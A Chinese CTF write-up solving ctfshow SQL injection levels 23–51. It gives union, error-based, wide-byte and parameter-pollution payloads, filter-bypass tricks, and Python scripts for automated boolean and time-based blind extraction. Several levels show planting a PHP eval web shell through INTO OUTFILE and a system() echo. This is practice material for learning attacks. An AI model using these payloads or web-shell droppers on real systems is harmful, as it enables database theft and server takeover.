admin" and updatexml(1,concat(0x7e,(select group_concat(right(flag4,24)) from ctfshow.flag),0x7e),1)#
编码后:
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpLDB4N2UpLDEpIw==
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChyaWdodChmbGFnNCwyNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSwxKSM=
得到flag:ctfshow{1cf35ecd-f589-4ecb-94fd-d788bd711e91}
下面是综合了
23、联合查询-前后闭合(单引号)
这里尝试了很多东西
?id=1 # 正常登录
?id=1' # 报错,near ''1'' LIMIT 0,1' at line 1
?id=1'# # 报错,且和上一条的报错一模一样
?id=1'--+ # 报错,near '' LIMIT 0,1' at line 1
# 这里猜想是把 # 和 -- 给过滤掉了,替换成了空,按照这个逻辑来是可以成立的
# 看着报错后面还有单引号于是想到可能后面也需要单引号进行闭合,于是再试试加个单引号
?id=1' and ' # 没报错,但也没有回显
# 然后尝试再加个判断为真的逻辑
?id=1' and '1'='1 # 正常回显
# 至此闭合逻辑判断完成
接着我是想用order by
来测测列数的,但是不知道为什么一直报错,所以这里直接利用select
的形式来测列数
?id=1' and 1=2 union select 1,2 and '1'='1 # 报错
?id=1' and 1=2 union select 1,2,3 and '1'='1 # 正常回显
?id=1' and 1=2 union select 1,2,3,4 and '1'='1 # 报错
于是就可以确定是3列了,另外回显也查好了,之后就是一套流程了
查信息
?id=1' and 1=2 union select 1,database(),3 and '1'='1 # security
爆数据库
?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1 # ctfshow
爆表
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),3 and '1'='1 # flag
爆列名
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagsf' and table_schema="ctfshow"),3 and '1'='1 # flag4
爆信息
?id=1' and 1=2 union select 1,(select group_concat(flag4) from ctfshow.flag),3 and '1'='1
# ctfshow{ca16b8b3-7fdf-4217-9153-8736e78d6b89}
24、时间盲注/(个人认为二次注入也是可以的)
是一个用户登录加注册的界面
既然可以注册,那就先看看注册
随便注册一个用户,登录之后:
可以看到用户名被回显出来了
用万能的时间盲注吧,只不过这回涉及到几个地址,所以要注意一下
脚本:
import requests
session = requests.session()
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},sleep(1),0)'
# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
payload = f'if(ascii(substr((select group_concat(flag4)from(ctfshow.flag)),{i},1))>{mid},sleep(0.6),0)'
username = f"admin' and {payload} or '1'='1"
url1 = 'http://5cf1acf7-2975-4a86-ad5f-7f76319bacd0.challenge.ctf.show/login_create.php'
data = {
'username': username,
'password': '123',
're_password': '123',
'submit': 'Register'
}
r = session.post(url1, data=data)
url2 = 'http://5cf1acf7-2975-4a86-ad5f-7f76319bacd0.challenge.ctf.show/login.php'
data = {
'login_user': username,
'login_password': '123',
'mysubmit': 'Login',
}
r = session.post(url2, data=data)
url3 = 'http://5cf1acf7-2975-4a86-ad5f-7f76319bacd0.challenge.ctf.show/pass_change.php'
data = {
'current_password': '123',
'password': '111',
're_password': '111',
'submit': 'Reset'
}
try:
r = session.post(url3, data=data, timeout=0.5)
tail = mid
except:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
得到flag:ctfshow{c4382346-d888-44df-96a2-6d099ec68761}
另外下面是个人的猜想:既然回显了用户名,那么自然想到:可以让用户名的值修改为一个查询语句,然后回显回来,这里是二次注入的知识点
先用bp抓包把参数整明白
注册界面:
大致逻辑是能知道的
insert into user (username,password) value('duxian','admin')
登录界面:
更新界面:
大致逻辑也是能知道
update users set password='123' where username='duxian' && pasword='admin'
先在注册的时候直接把用户名修改为一个sql攻击语句
123',username=user()#
整体表现为
update users set password='123',username=user()#' where username='duxian' && pasword='admin'
这样应该就能更新username的值了,但不知道为什么我没有成功,还想请会的佬指点一下
25、报错注入(过滤and/or)
这里提示了已经过滤了and和or,但是替换方式还是有的
and
用&&
替换,or
用||
替换,也可以利用双写来进行绕过,前提是把and或者or替换成了空
如:and-->aandnd、or-->oorr
?id=1' oorrder by 3--+ # 回显正常
?id=1' oorrder by 4--+ # 报错
# 试过了用报错注入容易一些
?id=1' || updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ # security
?id=1' || updatexml(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e),1)--+ # ctfshow
?id=1' || updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema="ctfshow"),0x7e),1)--+ # flags
?id=1' || updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='flags' || table_schema="ctfshow"),0x7e),1)--+ # flag4s
?id=1' || updatexml(1,concat(0x7e,(select group_concat(flag4s) from ctfshow.flags),0x7e),1)--+ # ctfshow{9ac4aaf5-8921-4b1f-8222
?id=1' || updatexml(1,concat(0x7e,(select group_concat(right(flag4s,24)) from ctfshow.flags),0x7e),1)--+ # -4b1f-8222-31bfe11e4d87}
得到flag:ctfshow{9ac4aaf5-8921-4b1f-8222-31bfe11e4d87}
经过测试,这题也可以使用联合查询
?id=-1' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
26、无列名注入(过滤and/or)
无列名注入
?id=-1 union select 1,group_concat(database_name),3 from mysql.innodb_table_stats --+
?id=-1 union select 1,group_concat(table_name),3 from mysql.innodb_table_stats --+
?id=-1 union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a --+
联合查询
?id=1 oorrder by 3--+
?id=1 aandnd 1=2 union select 1,2,3--+
?id=1 aandnd 1=2 union select 1,user(),database()--+
?id=1 aandnd 1=2 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3--+ # ctfshow
?id=1 aandnd 1=2 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='ctfshow'),3--+ # flags
?id=1 aandnd 1=2 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='flags' aandnd table_schema='ctfshow'),3--+ # flag4s
?id=1 aandnd 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
# ctfshow{2fc8e089-e769-413e-a924-fede128ffc3b}
27、报错注入/bool盲注(过滤空格/注释)
直接提示说空格和注释过滤掉了
先说注释被过滤:
注释被过滤没问题,其实只要使sql有闭包就行了,先在前面使用闭包闭合前面的语句,再用后面的闭包闭合后面的语句,中间就是留给我们用于注入的点了,两边用链接符连接起来就行,如:
?id=1'||[内容]||'
这样依旧可以正常查询
然后就是空格了
对于空格其实还是有挺多替换方式的
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
但这里似乎是吧上面空格替换的字符也全给过滤了,无奈就用可以不使用空格的报错注入吧
要使用空格的时候就直接用括号把里面的内容包起来就可以避免空格了
当前数据库
?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x7e),1)||'
# ctfshow
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),0x7e),1)||' # flags
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_name='flags')aandnd(table_schema='ctfshow'))),0x7e),1)||' # flag4s
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)||'
# ctfshow{35d1fb24-4d7a-4b8b-a058
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)||'
# 4b8b-a058-7b2f063aa49f}
结合一下得到flag:ctfshow{35d1fb24-4d7a-4b8b-a058-7b2f063aa49f}
当然bool盲注也是可以的,那么自然联合注入也是可行的,只不过可能有点麻烦,脚本:
import requests
url = 'http://50eb5fce-c5aa-4fda-90f6-3a13ea476c9a.challenge.ctf.show/'
session = requests.Session()
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f"?id=0'||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),{i},1))>{mid},1,0)||'0"
# flags
# payload = f"?id=0'||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags')),{i},1))>{mid},1,0)||'0"
# id,flag4s
payload = f"?id=0'||if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)||'0"
r = session.get(url + payload)
if 'Dumb' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
28、bool盲注(过滤空格/注释)
上一题一样,也可以用bool盲注做出来,甚至脚本只要改个网站就行了
倒是报错注入不能用了不知道怎么回事,可能过滤了?
29、报错注入/bool盲注(大小写绕过)
这次是过滤了select和union,但可以知道的是,它们都可以尝试用大小写来过滤,经过测试过滤的应该是下面几个,只要不是其中的,都可以用,另外这里还过滤了空格,没有过滤or和and了
union Union UNION select Select SELECT
报错注入:
当前数据库
?id=1'||updatexml(1,concat(0x7e,(seLect(database())),0x7e),1)||'
# 这里其实不加select也能查出来
?id=1'||updatexml(1,concat(0x7e,(seLect(group_concat(schema_name))from(information_schema.schemata)),0x7e),1)||'
# ctfshow
?id=1'||updatexml(1,concat(0x7e,(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')),0x7e),1)||' # flags
?id=1'||updatexml(1,concat(0x7e,(seLect(group_concat(column_name))from(information_schema.columns)where((table_name='flags')and(table_schema='ctfshow'))),0x7e),1)||' # flag4s
?id=1'||updatexml(1,concat(0x7e,(seLect(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)||'
# ctfshow{948655a9-c76a-45c8-a7b5
?id=1'||updatexml(1,concat(0x7e,(seLect(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)||'
# -45c8-a7b5-8fc61bee51f4}
结合一下得到flag:ctfshow{948655a9-c76a-45c8-a7b5-8fc61bee51f4}
bool盲注
import requests
url = "http://50e35722-5e9a-4117-a9e7-2b7e367f5961.challenge.ctf.show/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((seLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"0'||{payload}||'"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
30、bool盲注(双引号/大小写过滤)
这个和上面那个一样,只是单引号换成了双引号,似乎用不了报错注入了?我一直没成功
bool注入
import requests
url = "http://96f44230-2ffc-4d8b-913f-d10ee35dd510.challenge.ctf.show/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((seLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"0\"||{payload}||\""
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
得到flag:ctfshow{330d0dbe-557e-4ebe-8630-70a632178137}
31、bool盲注(单引号+括号/大小写绕过)
脚本:
import requests
url = "http://e022e73b-74c1-42b5-a282-fe37521590b4.challenge.ctf.show/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((seLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"0')||{payload}||('"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
得到flag:ctfshow{d16eb5fd-41a8-40f3-9565-d275638a711b}
32、bool盲注(单引号+括号/大小写绕过)
和上一题一样,不讲了,flag都不写了
33、http参数污染/联合查询(单引号)
首先要了解一下关于服务器的知识:
服务器端有两个部分
第一部分是引擎为tomcat的jsp型服务器
第二部分是引擎为apache的php型服务器
真正提供 web 服务的是 php 服务器
工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据,数据返回路径则相反
如果是传入一个参数的话,tomcat和apache都会接收,都是解析这个参数
但是如果传入两个参数的话,如:?id=1&ad=2
这样tomcat在接收并解析第一个参数后就会去请求apache,然后apache再去接收并解析第二个参数
最终回显的数值应为时间上提供服务器的apache处理返回的数据
对于这个题目的话,也有两层服务器,往往在tomcat上做数据的过滤和处理,功能类似于一个WAF,而正因为解析的参数有不同,所以这里也能利用这个原理来绕过WAF的检测
回到题目,先来试试正常查询
然后尝试对于不同服务器传入不同的参数
很明显显示了第二个参数的值,此时可以相当于tomcat那边已经固定正常查询了,此时只需要对apache传入的参数做法就行了
联合查询
?id=1&id=2'order by 3--+ # 正常回显
?id=1&id=2'order by 4--+ # 报错
知道可以这样使用之后就是正常流程了
查回显
?id=1&id=2' and 1=2 union select 1,2,3--+
查信息
?id=1&id=2' and 1=2 union select 1,concat_ws('__',user(),version(),database()),3--+
爆数据库
?id=1&id=2' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+ # ctfshow
爆表
?id=1&id=2' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),3--+ # flags
爆列名
?id=1&id=2' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags' and table_schema="ctfshow"),3--+
# flag4s
爆信息
?id=1&id=2' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
# ctfshow{39e078b5-5d6b-452b-aacf-8f502f1c0365}
其他payload:
?id=1&id=0' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
34、http参数污染/联合查询(双引号)
尝试之后发现是双引号,用之前的payload就行
?id=1&id=2" and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
?id=1&id=0" union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
35、http参数污染/联合查询(双引号+括号)
尝试之后发现是双引号+括号,用之前的payload就行
?id=1&id=2") and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
?id=1&id=0") union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
36、宽字节注入(单引号)
先尝试了一下单引号发现不成功,在下面的提示中发现了这样的东西
这里是把但引号给转义了,所以在这里应该是卓所有特殊字符都不行,不然都会被转义
解决方法的话就是使用宽字节注入,在这里可以使用%df
来吃掉\
,具体原因:
urlencode(\')=%5c%27
加个%df,形成:
%df%5c%27
而在mysql中GBK编码方式会将两个字节当作一个汉字,所以%5c和%df走了,剩下个%27,即单引号
或者直接使用汉字也行?
然后流程就是一样的了,payload:
?id=1&id=2%df' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
?id=1&id=0%df' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
37、宽字节注入(单引号)
额,因为是黑盒确实不知道那里有差别,单纯用上一题的payload就能出,这里就不说了吧
38、宽字节注入(POST型)
一个登录框,随便输入一个admin,有不小心登进去了,但是没关系,两个注点应该都可以使用,我这里用的是passwd,其实就常规流程了
%df' order by 2--+ # 正常回显
%df' order by 3--+ # 报错
查回显
%df' union select 1,2--+
爆数据库
%df' union select 1,(select group_concat(schema_name) from information_schema.schemata)--+ # ctfshow
爆表
这里因为ctfshow需要用引号引起来,用到了引号,所以不能使用,所以需要构造一个字符串 ctfshow
这里利用limit来限制查询第几个数据,之前既然查到了数据库表里面有ctfshow,而且在第一个那就直接构造查询:
(select schema_name from information_schema.schemata limit 1)
然后联合起来爆表:
%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select schema_name from information_schema.schemata limit 1))--+
# flags
爆列名
同样,这里也需要构造一个 flags 字符串
(select table_name from information_schema.tables where table_schema=(select schema_name from information_schema.schemata limit 1) limit 1)
%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select schema_name from information_schema.schemata limit 1) limit 1) and table_schema=(select schema_name from information_schema.schemata limit 1))--+
# flag4s
爆信息
%df' union select 1,(select group_concat(flag4s) from ctfshow.flags)--+
# ctfshow{ad69b5b4-bba7-483a-92d8-902c402bd6de}
bool盲注(网上找到的发现有错误就改了一下,估计是因为前面的都是这个目录所以就一直在套这个,因为实际情况下是黑盒的情况,你并不知道到底哪里有什么,所以还是一步一步改改吧)
import requests
url = 'http://c79c8765-b3b8-4244-9bb9-aca1f8f16997.challenge.ctf.show/'
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=(select schema_name from information_schema.schemata limit 1))),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=(select schema_name from information_schema.schemata limit 1))),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)'
data = {
'uname': f"1�' or 1={payload}#",
'passwd': '1'
}
r = requests.post(url,data=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
39、数字型注入(查询构造字符串)
这个经过测试时数字型注入,那么就是像上一题一样慢慢来联合查询也行,这里就直接给payload了
?id=0 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
40、宽字节注入(get型)
同样与上面38的类似,注意列数变成3了,所以也要对应改一下,这里放一下payload:
?id=0%df' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
41、宽字节注入(POST型)
又是POST注入,还是抓包测试
依旧是38的那种形式,甚至payload都一样,过
%df' union select 1,(select group_concat(flag4s) from ctfshow.flags)--+
42、秒题(顺便讲点堆叠注入)
还是一样的形式
?id=0' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
连着秒了好几题还是讲点知识吧(其实是在找别的方法的时候正好看到了有这个就写在这里了)
堆叠注入:通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的
原理:
在SQL中,分号 ; 是用来表示一条sql语句的结束
那么如果在 ; 结束一个sql语句后继续构造下一条语句,那么下一条语句也将继续执行,这也就叫堆叠注入
而union injection(联合注入)也是将两条语句合并在一起
两者之间的区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
举几个例子:
select * from student where id=1;create table test;
这里就在查询id为1的学生的同时创建了一个test表
select * from users where id=2;create table zhong like student;
这里用到的like直接创建了一个zhong表并把student表中的数据全都复制过来了
以此类推增删改查都是行的
43、秒题
数字型,秒
?id=0 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
44、秒题
单引号加括号,秒
?id=0') union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
45、秒题
数字型,秒
?id=0 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
哎上面秒了一些,因为这些确实是容易,因为这些在黑盒的情况下确实是不知道到底有什么区别,总感觉越到后面的题应该越难才对,这倒好,这里直接秒了几道,甚至还能用最开始的payload就离谱,不说了
46、报错注入(单引号)
好,是个登录框,有注册功能,但是不能使用,通过抓包可以知道有几个参数,这里顺便测试了一些是什么形式
参数有login_user
和login_password
在测试的时候发现登录成功什么回显都没有,但是有错误的时候会回显报错,可以利用报错注入
1' or updatexml(1,concat(0x7e,database()),1)--+
回显数据库,可行,继续
当前数据库
1' or updatexml(1,concat(0x7e,database()),1)--+
# 这里其实不加select也能查出来
1' or updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1)--+
# ctfshow
1' or updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')),0x7e),1)--+ # flags
1' or updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name='flags')and(table_schema='ctfshow'))),0x7e),1)--+ # flag4s
1' or updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)--+
# ctfshow{f31fa86b-6919-447b-80c4
1' or updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)--+
# -447b-80c4-b0826d1f34cd}
结合一下得到flag:ctfshow{f31fa86b-6919-447b-80c4-b0826d1f34cd}
47、报错注入(单引号+括号)
好,又是一个登录框,经过测试是和上一题一样的形式,只是闭合形式变成了单引号加括号
1') or updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)--+
1') or updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)--+
48、报错注入/时间盲注/传马(数字型)
怎么直接跳到46关了,我44和45呢,被谁吃了?
这一次万年不变的id变成了sort,然后查询出来变成了这样:
经过测试,发现当值为1,2,3的时候正好对应了第一、二、三列排序,而当值为4的时候发生了报错
基本可以确定这里应该是用了order by进行排序,所以大概这里的查询长这样:
select * from users order by $sort
order by后的数字可以作为一个注入点,构造order by后的一个语句,让该语句执行结果为一个数,可以尝试使用以下构造:
?sort=right(database(),1)
?sort=left(database(),1)
两个函数都是类似的作用,意思为返回右/左边边结果的第一个字符
但这两个函数都没有成功
然后的话尝试直接在sort后面直接使用查询或者报错注入
直接查询发现并没有回显,报错注入倒是有报错回显
1 and (select count(*),concat_ws(0x7e,database(),floor(rand()*2))as a from information_schema.tables group by a)
concat_ws('__',version(),database(),user(),@@basedir,floor(rand(4)*2))
可以的话就继续查询
?sort=updatexml(1,concat(0x7e,database()),1)
?sort=updatexml(1,concat(0x7e,right((select(group_concat(schema_name))from(information_schema.schemata)),24),0x7e),1)
# ctfshow 这个吧ctfshow数据库放到后面去了,所以要用到right来查看
?sort=updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')),0x7e),1) # flags
?sort=updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name='flags')and(table_schema='ctfshow'))),0x7e),1) # flag4s
?sort=updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)
# ctfshow{e932a871-2cf3-43df-8e67
?sort=updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)
# -43df-8e67-0434e3e4f1da}
结合一下得到flag:ctfshow{e932a871-2cf3-43df-8e67-0434e3e4f1da}
另外时间盲注也是可以的,能出,但确实太慢了,你有耐心另当别论,脚本:
import requests
if __name__ == '__main__':
url = 'http://391ab8fe-ef39-47a2-b0b1-5600117344d0.challenge.ctf.show/?sort=1%20and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr(database(),{i},1))>{mid},sleep(0.2),0)'
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flags"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flags),{i},1))>{mid},sleep(0.2),0)%23'
# print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
另外也可以传马(这种方法我没有成功,原因是传不上去,可能设置了权限?)
?sort=1 into outfile 文件地址 lines terminated by 0x(网马进行16进制转换)
?sort=1 into outfile "/var/www/html/1.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b3f3e
<?php eval($_POST[1]);?>
然后看别人还用了
1=system("echo '<?php eval(\$_POST[1]);?> '>2.php");
寻思着既然已经能命令执行了,不能直接在1.php查flag吗
蚁剑连2.php
49、报错注入/时间盲注/传马(单引号)
和上一题一样的形式只不过用的是单引号的形式,后面也需要加上注释符
报错:
?sort=1' || updatexml(1,concat(0x7e,database()),1)--+
?sort=1' || updatexml(1,concat(0x7e,right((select(group_concat(schema_name))from(information_schema.schemata)),24),0x7e),1)--+
# ctfshow 这个吧ctfshow数据库放到后面去了,所以要用到right来查看
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')),0x7e),1)--+ # flags
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name='flags')and(table_schema='ctfshow'))),0x7e),1)--+ # flag4s
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)--+
# ctfshow{dcfff2bb-4517-4aef-b83e
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)--+
# -4aef-b83e-f74e3ab71d1f}
结合一下得到flag:ctfshow{dcfff2bb-4517-4aef-b83e-f74e3ab71d1f}
时间盲注
import requests
if __name__ == '__main__':
url = 'http://3c92c2ec-856e-4f8f-937e-b91495c56672.challenge.ctf.show/?sort=1%20%27and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr(database(),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flags"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flags),{i},1))>{mid},sleep(0.2),0)%23'
print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
另外我觉得马的那个还是可以,但是就是写不上去
?sort=1' into outfile "/var/www/html/1.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b3f3e2020--+
1=system("echo '<?php eval(\$_POST[1]);?> '>2.php");
蚁剑连2.php
50、时间盲注/传马(数字型)
经过尝试,没有报错回显了,报错注入直接寄,自己能成的方法只剩下时间盲注了,慢点就慢点吧
import requests
if __name__ == '__main__':
url = 'http://6529d0ee-0974-4f17-ba94-85d172073455.challenge.ctf.show/?sort=1%20and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr(database(),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flags"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flags),{i},1))>{mid},sleep(0.2),0)%23'
print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
传马
?sort=1 into outfile "/var/www/html/1.php"lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b3f3e2020--+
1=system("echo '<?php eval(\$_POST[1]);?> '>2.php");
蚁剑连2.php
51、报错注入/时间盲注/传马/堆叠注入(数字型)
报错注入
?sort=updatexml(1,concat(0x7e,database()),1)
?sort=updatexml(1,concat(0x7e,right((select(group_concat(schema_name))from(information_schema.schemata)),24),0x7e),1)
# ctfshow 这个吧ctfshow数据库放到后面去了,所以要用到right来查看
?sort=updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')),0x7e),1) # flags
